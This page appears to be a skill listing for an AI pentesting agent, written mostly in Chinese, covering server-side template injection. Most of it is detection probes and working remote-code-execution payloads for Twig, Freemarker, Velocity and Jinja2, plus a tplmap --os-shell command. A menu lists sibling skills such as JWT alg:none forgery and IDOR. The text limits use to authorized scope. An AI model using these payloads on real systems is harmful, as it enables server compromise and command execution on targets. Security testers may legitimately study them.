القائمة
检测和利用服务端模板注入（SSTI）漏洞，覆盖 Jinja2、Twig、Freemarker、Velocity 等主流模板引擎。
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
通过被动来源和受控主动 DNS 枚举目标子域名，发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证，并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的功能级授权破坏（BFLA），验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
检测 API 中的对象级授权缺陷（BOLA/IDOR），通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证，伪造任意 Token 实现权限提升。
检测 API 中的批量赋值漏洞，通过在请求体中添加非预期字段修改不应被客户端控制的属性。
استنادا إلى تصنيف SOC المهني
| name | ssti |
| description | 检测和利用服务端模板注入（SSTI）漏洞，覆盖 Jinja2、Twig、Freemarker、Velocity 等主流模板引擎。 |
| category | web |
| source | xalgorix |
| tags | ["SSTI","模板注入","RCE","代码注入"] |
| required_tools | ["curl","tplmap（可选）"] |
whoami / hostname 等无害命令，不进行权限提升。{{}}、Freemarker ${}、Velocity #{} 等）。tplmap 或 SSTImap 自动化工具。# 注入模板表达式探针，观察是否被解析
# 通用探针
curl -X POST "https://<target>/preview" \
-d 'template={{7*7}}'
# 如果输出 "49"（而非 "{{7*7}}"），确认 SSTI 存在
# 多引擎探针组合
curl -X POST "https://<target>/preview" \
-d 'template=${{7*7}}#{7*7}<%=7*7%>'
根据探针响应推断引擎类型：
| 引擎 | 语法 | 识别特征 |
|---|---|---|
| Jinja2 (Python) | {{ }} | {{config}} 输出 Flask 配置 |
| Twig (PHP) | {{ }} | {{_self}} 可访问，{{7*'7'}} 输出 49（非 7777777） |
| Freemarker (Java) | ${ } | ${7*7} 输出 49 |
| Velocity (Java) | #{} | #set($x=7*7)$x |
| Smarty (PHP) | { } | {7*7} 输出 49 |
| ERB (Ruby) | <%= %> | <%= 7*7 %> 输出 49 |
# 读取配置
curl -X POST "https://<target>/preview" \
-d 'template={{config}}'
# 执行命令（需要找到合适的 subclass）
# 先用无害 payload 验证 RCE 可能性
{{''.__class__.__mro__[1].__subclasses__()}}
注意：subclass 索引因 Python 版本和环境而异，使用 tplmap 可自动化此过程。
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
$rt.getRuntime().exec('id')
# 使用 tplmap 自动检测和利用
tplmap.py -u "https://<target>/preview" -d 'template=test' --os-shell
仅在主代理确认 scope 允许 RCE 时使用 --os-shell。